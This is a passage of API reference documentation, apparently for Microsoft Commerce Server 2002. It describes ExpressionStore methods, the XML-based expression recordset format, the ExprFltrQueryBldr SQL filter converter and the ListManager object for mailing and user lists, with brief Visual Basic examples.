[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified
E_EXPR_NONEMPTYSTORE | [C++] 0x8110000C [Visual Basic] &H8110000C | Cannot import to a non-empty store

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The expression store must be empty in order to import expressions.

The import file must contain the XML schema for the expression recordset followed by the XML representation of each expression recordset. Expression recordsets with invalid expression bodies are imported but will cause an error upon evaluation.

Use the Export method to copy the XML schema for the expression recordset and all the expressions from the expression store to a file.

Call the Connect method before calling the Import method.

[Visual Basic]

Example

' oExpressionStore is an ExpressionStore object connected to
' a valid expression store.

oExpressionStore.Import "\SomePath\Expressions.xml"

See Also

[C++] Expression Recordset

[C++] Expression XML Structures

[C++] ExpressionStore Object

[C++] IExpressionStore::Export

[Visual Basic] Expression Recordset

[Visual Basic] Expression XML Structures

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Export


IExpressionStore::NewExpression Method [C++]

ExpressionStore.NewExpression Method [Visual Basic]

Use this method to return an ADO hierarchical Recordset object that contains an empty expression.

Definition

[C++]
HRESULT IExpressionStore::NewExpression(
 _Recordset** ppRSExpr
);
[Visual Basic]
Function NewExpression() As Object

Parameters

ppRSExpr [C++]
[out, retval] An address of a pointer to an ADO hierarchical Recordset object that contains an empty expression.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a hierarchical Recordset object that contains an empty expression.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified

Remarks

[C++] Populate the returned Recordset object with data describing the new expression. For information on the format and required fields of the Recordset object, see Expression Recordset.

[Visual Basic] Populate the returned Recordset object with data describing the new expression. For information on the format and required fields of the Recordset object, see Expression Recordset.

Save the newly defined expression to the expression store using the SaveExpression method. The SaveExpression method automatically generates a new, unique expression ID and stores it with the new expression.

Call the Connect method before calling the NewExpression method.

See Also

[C++] ExpressionStore Object

[C++] IExpressionStore::Connect

[C++] IExpressionStore::SaveExpression

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Connect

[Visual Basic] ExpressionStore.SaveExpression


IExpressionStore::Query Method [C++]

ExpressionStore.Query Method [Visual Basic]

Use this method to retrieve a Recordset object containing expressions that match the specified query conditions. At least one of the optional arguments must be specified.

Definition

[C++]
HRESULT IExpressionStore::Query(
 VARIANT vName,
 VARIANT vCategory,
 VARIANT vProfiles,
 _Recordset** ppRSExprs
);
[Visual Basic]
Function Query(
 Optional vName As Variant,
 Optional vCategory As Variant,
 Optional vProfiles As Variant
) As Object

Parameters

vName [C++]
[in, optional] When specified, a BSTR name to match expressions against. This is used in an SQL LIKE clause that permits wildcards.
vName [Visual Basic]
[in, optional] When specified, a String name to match expressions against. This is used in an SQL LIKE clause that permits wildcards.
vCategory [C++]
[in, optional] When specified, a BSTR containing the category or SAFEARRAY of category strings to match expressions against. This is used in an SQL LIKE clause that permits wildcards.
vCategory [Visual Basic]
[in, optional] When specified, a String containing the category or SAFEARRAY of category strings to match expressions against. This is used in an SQL LIKE clause that permits wildcards.
vProfiles [C++]
[in, optional] When specified, a BSTR containing the profile name or SAFEARRAY of profile names to match expressions against. Profile names must be specified without wildcards.
vProfiles [Visual Basic]
[in, optional] When specified, a String containing the profile name or SAFEARRAY of profile names to match expressions against. Profile names must be specified without wildcards.
ppRSExprs [C++]
[out, retval] An address of a pointer to a Recordset object that contains the result set of expressions. On failure, the pointer to the Recordset object will be set to NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] This method returns an ADO hierarchical Recordset object. If successful, the Recordset object contains the result set of expressions. If unsuccessful, the Recordset object is set to Nothing.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified

Remarks

If a combination of the optional parameters is specified, the retrieved expressions satisfy all constraints (implicit AND applied). For example, if name = "Robert%" and category = "General", only expressions with names starting with "Robert" and with a category of "General" will be returned.

When multiple profile names are specified, the query result includes expressions with profile requirements (dependencies) that include any of the listed profile names (implicit OR applied). Thus, if name = "Robert%" and the profiles "User" and "Context" are specified as profiles, the Query method will return all expressions with names starting with "Robert" and profiles requiring only "User", only "Context", or both "User" and "Context".

[C++] For details on the ADO Recordset object that represents the expression, see Expression Recordset.

[Visual Basic] For details on the ADO Recordset object that represents the expression, see Expression Recordset.

Call the Connect method before calling the Query method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The ppRSExprs parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' oExpressionStore is an ExpressionStore object connected to
' a valid expression store.
' rsExpr is a Recordset object that will contain all expressions
' with a name starting with 'Express', having a category of
' Octogenarians' and a profile dependency on 'joeuser'.

rsExpr = oExpressionStore.Query("Express%", "Octogenarians", "joeuser")

See Also

[C++] ExpressionStore Object

[C++] IExpressionStore::Connect

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Connect


IExpressionStore::RenameExpression Method [C++]

ExpressionStore.RenameExpression Method [Visual Basic]

Use this method to rename an existing expression in the expression store. The new expression name must be unique or the operation will fail.

Definition

[C++]
HRESULT IExpressionStore::RenameExpression(
 long nExprID,
 BSTR strNewName
);
[Visual Basic]
Sub RenameExpression(
 nExprID As Long,
 strNewName As String
)

Parameters

nExprID [C++]
[in] A long that contains the expression ID.
nExprID [Visual Basic]
[in] A Long that contains the expression ID.
strNewName [C++]
[in] A BSTR that contains the new name.
strNewName [Visual Basic]
[in] A String that contains the new name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADEXPRID | [C++] 0x8110000A [Visual Basic] &H8110000A | Invalid expression ID specified, or expression ID not found in store
E_EXPR_BADEXPRNAME | [C++] 0x81100003 [Visual Basic] &H81100003 | Invalid expression name
E_EXPR_DUPEXPRNAME | [C++] 0x81100007 [Visual Basic] &H81100007 | Duplicate expression name
E_EXPR_INVALIDFIELDSIZE | [C++] 0x81100005 [Visual Basic] &H81100005 | The new name exceeds the maximum size of 30 characters
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use the GetExprID method to translate an expression name to its corresponding expression ID.

Call the Connect method before calling the RenameExpression method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oExpressionStore is an ExpressionStore object connected to
' a valid expression store.
' 52997 is a valid expression ID retrieved from the GetExprId method.

oExpressionStore.RenameExpression(52997, "MyNewName")

See Also

[C++] ExpressionStore Object

[C++] IExpressionStore::Connect

[C++] IExpressionStore::GetExprID

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Connect

[Visual Basic] ExpressionStore.GetExprID


IExpressionStore::SaveExpression Method [C++]

ExpressionStore.SaveExpression Method [Visual Basic]

Use this method to save a new or modified expression to the expression store. For a new expression, the SaveExpression method automatically generates a unique expression ID and stores it with the expression.

Definition

[C++]
HRESULT IExpressionStore::SaveExpression(
 _Recordset* pRSExpr
);
[Visual Basic]
Sub SaveExpression(
 pRSExpr As Object
)

Parameters

pRSExpr [C++]
[in] A pointer to the ADO hierarchical Recordset object that contains the expression.
pRSExpr [Visual Basic]
[in] A Recordset object that contains the expression.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADEXPRBODY | [C++] 0x81100004 [Visual Basic] &H81100004 | Invalid or missing expression body
E_EXPR_BADEXPRCATEGORY | [C++] 0x8110000A [Visual Basic] &H8110000A | Invalid expression category specified
E_EXPR_BADEXPRNAME | [C++] 0x81100003 [Visual Basic] &H81100003 | Invalid expression name
E_EXPR_CYCLEDETECTED | [C++] 0x81100006 [Visual Basic] &H81100006 | A cycle was detected in the expression dependencies of this expression
E_EXPR_DUPEXPRDEPS | [C++] 0x81100009 [Visual Basic] &H81100009 | Duplicate expression dependency
E_EXPR_DUPEXPRNAME | [C++] 0x81100007 [Visual Basic] &H81100007 | Duplicate expression name
E_EXPR_DUPPROFDEPS | [C++] 0x81100008 [Visual Basic] &H81100008 | Duplicate profile dependency
E_EXPR_INVALIDEXPRDEPS | [C++] 0x8110000B [Visual Basic] &H8110000B | One or more of the expression dependencies refers to an expression ID that does not exist
E_EXPR_INVALIDFIELDSIZE | [C++] 0x81100005 [Visual Basic] &H81100005 | The new name exceeds the maximum size of 30 characters
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified
E_EXPR_NOPROFDEPS | [C++] 0x81100002 [Visual Basic] &H81100002 | Expression must have at least one profile-dependency to be saved

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] If the expression being saved is not currently in the expression store, the SaveExpression method generates a unique identifier and populates the ExprID field of the Recordset object. The identifier is a positive integer. For more information about the format and fields of the Recordset object, see Expression Recordset.

[Visual Basic] If the expression being saved is not currently in the expression store, the SaveExpression method generates a unique identifier and populates the ExprID field of the Recordset object. The identifier is a positive integer. For more information about the format and fields of the Recordset object, see Expression Recordset.

The ExpressionStore object performs rudimentary checks for expression dependencies when an expression is saved or deleted. This includes any direct references, a test for cyclic referencing, and any references to non-existent expressions.

Call the Connect method before calling the SaveExpression method.

See Also

[C++] ExpressionStore Object

[C++] IExpressionStore::Connect

[C++] IExpressionStore::GetExpression

[C++] IExpressionStore::NewExpression

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Connect

[Visual Basic] ExpressionStore.GetExpression

[Visual Basic] ExpressionStore.NewExpression


Expression Recordset [C++]

Expression Recordset [Visual Basic]

An expression is a statement constructed with Boolean and relational operators that is evaluated against the data in a given set of profiles. The part of an expression that is evaluated is stored as an Extended Markup Language (XML) string in the ExprBody field of an ActiveX Data Object (ADO) Recordset object. Recordset objects are contained in a database known as the Expression Store.

This section contains:

[C++]
  • Expression Recordset Object. Describes the ADO hierarchical Recordset object that represents the expression.
  • Expression Recordset Example. Shows an example of an expression Recordset object.
[Visual Basic]
  • Expression Recordset Object. Describes the ADO hierarchical Recordset object that represents the expression.
  • Expression Recordset Example. Shows an example of an expression Recordset object.

See Also

Targeting Objects

Expression XML Structures

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionStore Object

[C++] ExpressionEval Object

[C++] ExpressionStore Object


Expression Recordset Object [C++]

Expression Recordset Object [Visual Basic]

The ExpressionStore object represents expressions and their dependencies using an ADO shaped hierarchical Recordset object. The structure of this Recordset object consists of a parent Recordset object with pointers to two child Recordset objects.

An empty Recordset object with the prescribed structure is created by calling the NewExpression method of the ExpressionStore object. Once the fields of the Recordset object have been filled in, the SaveExpression method is used to commit the expression to the expression store. In a similar fashion, those methods of the ExpressionStore object that return expressions from the store, such as GetExpression and GetAllExprs, return the expression data in this hierarchical Recordset object structure.

Parent Recordset

The fields in the parent Recordset object are shown in the following table.

Field | Type | Requirement | Description
ExprID | Integer | Generated by the SaveExpression method of the ExpressionStore object when a new expression is saved. | Unique identifier for the expression. This is a positive integer.
ExprName | String | Required field supplied by the user. | Unique name of the expression. The following characters are not allowed: ', ", &, \, /, <, >
Category | String | Optional field supplied by the user. | Category of the expression. May be used as a filter. The following characters are not allowed: ', ", &, \, /, <, >
ExprDesc | String | Optional field supplied by the user. | Description of the expression. Maximum length is 200 characters. The following characters are not allowed: &, <, >
ExprBody | String | Required field supplied by the user. | Extensible Markup Language (XML) body of the recordset. The evaluable expression. Maximum length is 3400 characters. For more information, see Expression XML Structures.
DateCreated | Date | Generated by the system. | Date the recordset was created.
DateModified | Date | Generated by the system. | Date the recordset was last modified.
rsExprDeps | Recordset pointer | Generated by the system. | A pointer to the child Recordset object listing the expression dependencies of this expression.
rsProfDeps | Recordset pointer | Generated by the system. | A pointer to the child Recordset object listing the profile type dependencies of this expression.

Expression Dependencies Child Recordset

This Recordset object contains a record for each expression that the parent expression is immediately dependent on. The information does not include nested dependencies. If the parent expression does not depend on any expressions, this recordset may be empty.

The fields in the expression dependencies child Recordset object are shown in the following table.

Field | Type | Description
ExprID | Integer | Identifier of the parent expression.
ExprDep | Integer | Identifier of the dependent expression.

Profile Dependencies Child Recordset

This Recordset object contains a record for each profile this expression is dependent on. The user must populate at least one record when creating a new expression.

The fields in the profile dependencies Recordset object are shown in the following table.

Field | Type | Description
ExprID | Integer | Identifier of the parent expression.
ProfDep | String | Name of the dependent profile.

Remarks

The ExprId fields of the two child Recordset objects contain the same value as the ExprID field of the parent Recordset object that is generated when a new expression is saved.


Expression Recordset Example [C++]

Expression Recordset Example [Visual Basic]

The following examples shows two Recordset objects containing expressions. The first is for an expression (ID = 7) dependent on one profile (User) and no expressions. The second is for an expression (ID = 24) dependent on one other expression (ID=7) and two hypothetical profiles (Product and User). The DateCreated, DateModified, rsExprDeps, and rsProfDeps fields are not shown.

Parent Recordset for Expression7

ExprID | ExprName | Category | ExprDesc | ExprBody
7 | "Expression7" | "Hair" | "Brown" | String7

Expression Dependencies Child Recordset for Expression7

ExprID | ExprDep

Profile Dependencies Child Recordset for Expression7

ExprID | ProfDep
7 | "User"
String7 = "<CLAUSE OPER="is-true">
             <PROPERTY ID="User.GeneralInfo.hair" TYPE="string"/>
             <IMMED-VAL TYPE="string">Brown</IMMED-VAL>
           </CLAUSE>"

Parent Recordset for Expression24

ExprID | ExprName | Category | ExprDesc | ExprBody
24 | "Expression24" | "Octogenarians" | "Brown_haired_users_over_80" | String24

Expression Dependencies Child Recordset for Expression24

ExprID | ExprDep
24 | 7

Profile Dependencies Child Recordset for Expression24

ExprID | ProfDep
24 | "Product"
24 | "User"
String24 = "<TERM TYPE="and">
              <CLAUSE OPER="is-true">
                <EXPR-REF ID=7/>
              </CLAUSE>
              <CLAUSE OPER="equal">
                <PROPERTY ID="Product.name" TYPE="string"/>
                <IMMED-VAL TYPE="string">hair dye</IMMED-VAL>
              </CLAUSE>
              <CLAUSE OPER="at-least">
                <PROPERTY ID="User.GeneralInfo.age" TYPE="number"/>
                <IMMED-VAL TYPE="number">80</IMMED-VAL>
              </CLAUSE>
            </TERM>"


ExprEvalContext Object [C++]

ExprEvalContext Object [Visual Basic]

This object is created by the CreateEvalContext method of the ExpressionEval object. It is used to store a common context for evaluating multiple expressions. ExprEvalContext objects are stored in the context cache by the ExpressionEval object and deleted when the ExpressionEval object is destroyed.

Since the ExprEvalContext object is intended to be accessed solely through the ExpressionEval object, no documentation of the properties and methods of the ExprEvalContext object is provided.

Caution

  • Do not attempt to change any values internal to the ExprEvalContext object. Changing these values will corrupt the object and render it invalid. Use only the methods of the ExpressionEval object to create, access, and delete the ExprEvalContext object.

See Also

[C++] Targeting Objects

[C++] ExpressionEval Object

[Visual Basic] Targeting Objects

[Visual Basic] ExpressionEval Object


ExprFltrQueryBldr Object [C++]

ExprFltrQueryBldr Object [Visual Basic]

Use this object to translate an expression in Extensible Markup Language (XML) form into a SQL filter query string. A filter query returns a subset of items from a database based on a combination of attribute values.

ProgID: | Commerce.ExprFltrQueryBldr (Externally creatable)
COM Class Name: | ExprFltrQueryBldr
Type Library Name: | Microsoft Commerce 2002 Expression Builder Type Library
DLL Name: | exprfltrbldr.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | IExprFltrQueryBldr
Interface ID Constant: | IID_IExprFltrQueryBldr
Header File: | exprfltrbldr.h, mspu_guids.h
[C++]

In C++, use the IExprFltrQueryBldr interface to access the properties and methods of the ExprFltrQueryBldr object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
ConvertExprToSqlFltrStr | Converts an expression in XML form to a SQL filter string.
ConvertExprUsingDict | Converts an expression in XML form that references a Dictionary object into a SQL filter string.
[Visual Basic]
Method | Description
ConvertExprToSqlFltrStr | Converts an expression in XML form to a SQL filter string.
ConvertExprUsingDict | Converts an expression in XML form that references a Dictionary object into a SQL filter string.

Remarks

The expression in XML form may contain a reference to a Dictionary object.

See Also

[C++] Expression XML Structures

[Visual Basic] Expression XML Structures


IXprFltrQueryBldr Methods [C++]

IXprFltrQueryBldr Methods [Visual Basic]

Methods

[C++]
Method | Description
ConvertExprToSqlFltrStr | Converts an expression in XML form to a SQL filter string.
ConvertExprUsingDict | Converts an expression in XML form that references a Dictionary object into a SQL filter string.
[Visual Basic]
Method | Description
ConvertExprToSqlFltrStr | Converts an expression in XML form to a SQL filter string.
ConvertExprUsingDict | Converts an expression in XML form that references a Dictionary object into a SQL filter string.


IExprFltrQueryBldr::ConvertExprToSqlFltrStr Method [C++]

ExprFltrQueryBldr.ConvertExprToSqlFltrStr Method [Visual Basic]

Use this method to convert an expression in Extensible Markup Language (XML) form to a SQL filter query string.

Definition

[C++]
HRESULT IExprFltrQueryBldr::ConvertExprToSqlFltrStr(
  BSTR pExpression,
  BSTR* pFilter
);
[Visual Basic]
Function ConvertExprToSqlFltrStr(
  pExpression As String
) As String

Parameters

pExpression [C++]
[in] A BSTR that contains the expression in XML form.
pExpression [Visual Basic]
A String that contains the expression in XML form.
pFilter [C++]
[out, retval] A pointer to a BSTR used to return the SQL filter string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the SQL filter string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The pFilter parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sXMLExpr and sSqlFilter are Strings.
' Note that the sXMLExpr string is not properly formatted with respect
' to quotation marks or continuation to increase readability.

sXMLExpr = "<CLAUSE OPER="at-least">
              <PROPERTY ID="user.age" TYPE="number"/>
              <IMMED-VAL TYPE="number">80</IMMED-VAL>
            </CLAUSE>"

sSqlFilter = oExprFltrQueryBldr.ConvertExprToSqlFltrStr(sXMLExpr)
' The resulting sSQLFilter string is: user.age >= 80.

See Also

[C++] ExprFltrQueryBldr Object

[Visual Basic] ExprFltrQueryBldr Object


IExprFltrQueryBldr::ConvertExprUsingDict Method [C++]

ExprFltrQueryBldr.ConvertExprUsingDict Method [Visual Basic]

Use this method to convert an expression in Extensible Markup Language (XML) form containing a reference to a Dictionary object into a SQL filter query string.

Definition

[C++]
HRESULT IExprFltrQueryBldr::ConvertExprUsingDict(
  BSTR pExpr,
  IDispatch* pDict,
  BSTR* pDest
);
[Visual Basic]
Function ConvertExprUsingDict(
  pExpr As String,
  pDict As Object
) As String

Parameters

pExpr [C++]
[in] A BSTR that contains the expression in XML form.
pExpr [Visual Basic]
A String that contains the expression in XML form.
pDict [C++]
[in] A pointer to the IDispatch interface of a Dictionary object that contains the values referenced by the expression.
pDict [Visual Basic]
A Dictionary object that contains the values referenced by the expression.
pDest [C++]
[out, retval] A pointer to a BSTR used to return the SQL filter string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the SQL filter string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

In the XML expression, a reference to a Dictionary object is made by preceding the value inside the IMMED-VAL tags with the keyword 'context'. If such a reference is found during conversion of the expression, the reference is replaced with the value read from the Dictionary object.

[C++]

The pDest parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ExprFltrQueryBldr Object

[Visual Basic] ExprFltrQueryBldr Object


ListManager Object[C++]

ListManager Object [Visual Basic]

Use this object to create and manage lists of users for the Profiling System, lists of e-mail addresses for the Direct Mailer, lists of segment members for the Predictor resource, lists generated from Analysis reports, and lists created from files and SQL queries.

ProgID: | Commerce.ListManager (Externally creatable)
COM Class Name: | ListManager
Type Library Name: | Microsoft Commerce 2002 ListManager Type Library
EXE Name: | listmanager.exe
Threading Model: | Both
[C++]
COM Interface Name: | IListManager
Interface ID Constant: | None
Header File: | None

[C++] In C++, use the IListManager interface to access the properties and methods of the ListManager object.

Methods

[C++]
Method | Description
AddUserToMailingList | Adds a user to a mailing list.
CancelOperation | Cancels a currently running asynchronous operation.
Copy | Makes a copy of a list.
CreateEmpty | Creates an empty list for subsequent operations.
CreateFromDWCalc | Creates a list from an Analysis report.
CreateFromFile | Creates a list from a file.
CreateFromSegment | Creates a list from a Predictor resource segment.
CreateFromSql | Creates a list from an SQL query.
Delete | Deletes a list.
ExportToFile | Exports a list to a file.
ExportToSql | Exports a list to a database table.
ExtractMailingList | Creates a new mailing list from a generic list that contains an rcp_email column.
GetListFlags | Retrieves the Flags bitmask for a list.
GetListId | Retrieves the list ID.
GetListName | Retrieves the list name.
GetListProperty | Retrieves a list property.
GetLists | Enumerates all known lists at the time of the call.
GetListUserFlags | Retrieves the UserFlags bitmask for a list.
GetOperationInfo | Retrieves information on a list operation.
GetOperations | Enumerates all operations running at the time of the call.
Initialize | Initializes the ListManager object.
RemoveUserFromMailingList | Removes a user from a mailing list.
Rename | Renames a list.
SetDesc | Assigns a description to a list.
SetListProperty | Sets a list property.
Subtract | Subtracts one list from another list, and stores the results in a third list.
Union | Produces a union of two lists (combines the lists and eliminates duplicates), and stores the results in a third list.
WaitOnOperation | Waits for an operation to complete or a timeout to occur, then returns.
[Visual Basic]
Method | Description
AddUserToMailingList | Adds a user to a mailing list.
CancelOperation | Cancels a currently running asynchronous operation.
Copy | Makes a copy of a list.
CreateEmpty | Creates an empty list for subsequent operations.
CreateFromDWCalc | Creates a list from an Analysis report.
CreateFromFile | Creates a list from a file.
CreateFromSegment | Creates a list from a Predictor Resource segment.
CreateFromSql | Creates a list from an SQL query.
Delete | Deletes a list.
ExportToFile | Exports a list to a file.
ExportToSql | Exports a list to a database table.
ExtractMailingList | Creates a new mailing list from a generic list that contains an rcp_email column.
GetListFlags | Retrieves the Flags bitmask for a list.
GetListId | Retrieves the list ID.
GetListName | Retrieves the list name.
GetListProperty | Retrieves a list property.
GetLists | Enumerates all known lists at the time of the call.
GetListUserFlags | Retrieves the UserFlags bitmask for a list.
GetOperationInfo | Retrieves information on a list operation.
GetOperations | Enumerates all operations running at the time of the call.
Initialize | Initializes the ListManager object.
RemoveUserFromMailingList | Removes a user from a mailing list.
Rename | Renames a list.
SetDesc | Assigns a description to a list.
SetListProperty | Sets a list property.
Subtract | Subtracts one list from another list, and stores the results in a third list.
Union | Produces a union of two lists (combines the lists and eliminates duplicates), and stores the results in a third list.
WaitOnOperation | Waits for an operation to complete or a timeout to occur, then returns.

Properties

[C++]
Property | Type | Description
ConnectionString | BSTR | Stores the connection string to the database used by the ListManager object to store lists. This value is set when passing the ConnectionString parameter to the Initialize method. This property is read-only.
Status | long | Stores the current status of the ListManager object. This property is read-only.
[Visual Basic]
Property | Type | Description
ConnectionString | String | Stores the connection string to the database used by the ListManager object to store lists. This value is set when passing the ConnectionString parameter to the Initialize method. This property is read-only.
Status | Long | Stores the current status of the ListManager object. This property is read-only.

Remarks

List Manager has functionality to manipulate two types of lists, Generic and Mailing. Each type may also have User and Mailable attributes. Lists are designated as static or dynamic depending on when the data is imported.

A Generic list may have any set of column names and types - it essentially maps to a SQL table.

A Mailing list is a list for use with Direct Mailer. It contains a list of recipients to receive mail or a list of recipients who should be opted out of a mailing. Each mailing list has its own table.

The following table describes the columns of a Mailing list table.

Field | Type | Description
rcp_email | NVARCHAR [256] | E-mail address of the recipient.
rcp_guid | NVARCHAR [64] | (Optional) User ID. Usually a GUID which is a key to the profile of the user.
rcp_fmt | smallint | (Optional) Message format flag. Legal values are: 1 - TEXT 2 - MIME 3 - MHTML
rcp_locale | NVARCHAR[20] | (Optional) Preferred character set of the recipient. See DirectMailer specifications for details.
rcp_url | NVARCHAR[2084] | (Optional) URL used for retrieving personalized content for the user.

A Mailable list is any list with an rcp_email column.

A User list is any list with an rcp_guid column.

In a static list, records are imported at the time the list is created.

A dynamic list imports records on demand when referenced by another operation.

List Manager can import lists from the following sources:

  • An SQL query run against an ODBC data source
  • An Analysis report run from the Business Desk
  • A Predictor Resource segment
  • A text file (CSV format)

List Manager can export lists to the following destinations:

  • A SQL Server 2000 table in an external database
  • A text file (CSV format)

List Manager allows time consuming operations to run in an asynchronous manner wherein the operation returns immediately after the process has started and assigns an operation ID that can be used to access the operation.

List Manager stores information about lists and operations in the lm_master and lm_master_operations tables, respectively.

See Also

Targeting Objects


IListManager Methods [C++]

ListManager Methods [Visual Basic]

Methods

[C++]
Method | Description
AddUserToMailingList | Adds a user to a mailing list.
CancelOperation | Cancels a currently running asynchronous operation.
Copy | Makes a copy of a list.
CreateEmpty | Creates an empty list for subsequent operations.
CreateFromDWCalc | Creates a list from an Analysis report.
CreateFromFile | Creates a list from a file.
CreateFromSegment | Creates a list from a Predictor resource segment.
CreateFromSql | Creates a list from an SQL query.
Delete | Deletes a list.
ExportToFile | Exports a list to a file.
ExportToSql | Exports a list to a database table.
ExtractMailingList | Creates a new mailing list from a generic list that contains an rcp_email column.
GetListFlags | Retrieves the Flags bitmask for a list.
GetListId | Retrieves the list ID.
GetListName | Retrieves the list name.
GetListProperty | Retrieves a list property.
GetLists | Enumerates all known lists at the time of the call.
GetListUserFlags | Retrieves the UserFlags bitmask for a list.
GetOperationInfo | Retrieves information on a list operation.
GetOperations | Enumerates all operations running at the time of the call.
Initialize | Initializes the ListManager object.
RemoveUserFromMailingList | Removes a user from a mailing list.
Rename | Renames a list.
SetDesc | Assigns a description to a list.
SetListProperty | Sets a list property.
Subtract | Subtracts one list from another list, and stores the results in a third list.
Union | Produces a union of two lists (combines the lists and eliminates duplicates), and stores the results in a third list.
WaitOnOperation | Waits for an operation to complete or a timeout to occur, then returns.
[Visual Basic]
Method | Description
AddUserToMailingList | Adds a user to a mailing list.
CancelOperation | Cancels a currently running asynchronous operation.
Copy | Makes a copy of a list.
CreateEmpty | Creates an empty list for subsequent operations.
CreateFromDWCalc | Creates a list from an Analysis report.
CreateFromFile | Creates a list from a file.
CreateFromSegment | Creates a list from a Predictor Resource segment.
